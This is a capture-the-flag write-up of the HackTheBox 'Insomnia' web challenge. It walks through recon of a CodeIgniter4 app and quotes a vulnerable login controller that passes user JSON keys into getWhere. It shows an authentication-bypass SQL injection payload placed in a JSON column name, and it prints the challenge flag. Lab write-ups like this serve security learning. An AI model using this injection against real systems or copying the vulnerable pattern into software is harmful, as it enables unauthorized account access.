Challenge
- Ctf:
HackTheBox Labs
- Website:
https://app.hackthebox.com/challenges/Insomnia
- Title:
Insomnia
- Category:
Web
- Difficulty:
Easy
- Description:
Welcome back to Insomnia Factory, where you might have to work under the enchanting glow of the moon, crafting dreams and weaving sleepless tales.
Walkthrough
The challenge per se is an easy one. The exploit consists of executing a basic SQL injection in the authentication form.
The tricky part was realizing the simplicity of the vulnerability.
So, to pay homage to all the time spent on navigating the source code and the Internet searching for a convoluted solution, I’m gonna recap my efforts and the info gathered while diving into the challenge material.
If that sounds boring, just skip to the solution.
Reconnaissance
The application consists of few pages, including a registration page, a login page and a profile page:

Navigating around won’t reveal anything interesting, we then proceed to look up the source code.
The application is developed using the PHP Framework CodeIgniter4. Searching up the string ‘flag’ in the project shows that the secret is hidden in a ‘flag.txt’ file, whose content is parsed and returned when a logged in administrator browses their profile page:

This suggests us that the exploit can be a matter of:
1) JWT cookie manipulation 2) SQL injection
To validate the first option I looked for the JWT secret configuration, finding the docker ‘entrypoint.sh’ script file:
#!/bin/bash
# Initialize SQLite database with a table and an initial user
touch /var/www/html/Insomnia/database/insomnia.db
chmod 666 /var/www/html/Insomnia/database/insomnia.db
sqlite3 /var/www/html/Insomnia/database/insomnia.db <<'EOF'
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password TEXT NOT NULL
);
INSERT INTO users (username, password) VALUES ('administrator', LOWER(hex(randomblob(16))));
EOF
# Create JWT secret key
echo "JWT_SECRET='$(openssl rand -hex 32)'" >> /var/www/html/Insomnia/.env
# Start Apache server
apache2-foreground
As we can see the JWT_SECRET is set to a random 32 bytes long value and then saved in a ‘.env’ file. Also, the script shows that the administrator account is setup at container start with a random 16 bytes long value.
Assuming we have no Local File Inclusion vulnerabilities to exploit, cookie manipulation is off the chart since the JWT_SECRET can’t be recovered.
As regards SQLi, at this point in time I just assumed it was not possible.
Hence, I started searching the web for ‘codeigniter4 cve’, eventually finding the CVE-2023-48708. Even though the vulnerability was not appliable, my train of thoughts still derailed enough to make me consider LFI the attack path to persue.
That’s how I ended up inspecting the Apache configuration file and the ‘.htaccess’ file for the application public directory. After analyzing every statement something came up:
<ifmodule>
# If we don't have mod_rewrite installed, all 404's
# can be sent to index.php, and everything works as normal.
ErrorDocument 404 index.php
</ifmodule>
Unfortunately, this was just a misconfiguration in serving ‘index.php’ instead of the full path for the index file, resulting in having 404 error codes just returning:

Realizing I was getting lost and that I discarded the SQLi idea for no concrete reason, I went back to check the possibility.
Solution
At this time, I searched the Web for authentication issues with CodeIgniter, finding out the literal solution at this blog page.
The login code employed by the application is the following:
public function login()
{
$db = db_connect();
$json_data = request()->getJSON(true);
if (!count($json_data) == 2) {
return $this->respond("Please provide username and password", 404);
}
$query = $db->table("users")->getWhere($json_data, 1, 0);
$result = $query->getRowArray();
if (!$result) {
return $this->respond("User not found", 404);
} else {
// <..> setup the jwt cookie <..>
}
}
The variable ‘json_data’ is populated with the username and password specified in the login POST request. For example, trying to login as the user ‘administrator’ with password ‘kallari’ :

produces the following json data:
{
"username":"administrator",
"password":"kallari"
}
What matters here is how the ‘getWhere’ method used to query the database builds the query string.
Turns out that the conditions listed in the json payload are just put together in a string with the format:
[SELECT * FROM users] WHERE USERNAME="administrator" and PASSWORD="kallari"
The vulnerability lies within the fact that the queried columns are the ones specified in the json itself, and are not hard-coded.
This implies that the user can manipulate the query inserting arbitrary column names.
The missing piece I was not considering is that the column names are actually vectors for SQLi, differently from the value fields.
Thus, the exploit consists of using a simple SQLi payload in the json login data, in place of the column name “password”:
{
"username":"administrator",
"\" or 1=1 -- -":"kallari"
}
Intercepting the login request with Burp and modifying the payload as described gives us access to the flag:

The retrieved flag is:
HTB{I_just_want_to_sleep_a_little_bit!!!!!}
Conclusion
Oh boy, this was a lesson about sticking to a proper method without wondering around and focusing on simple ideas without making too much assumptions early on in the assessment. Nevertheless, having a refresh on the basics is always useful.
Keep it simple people!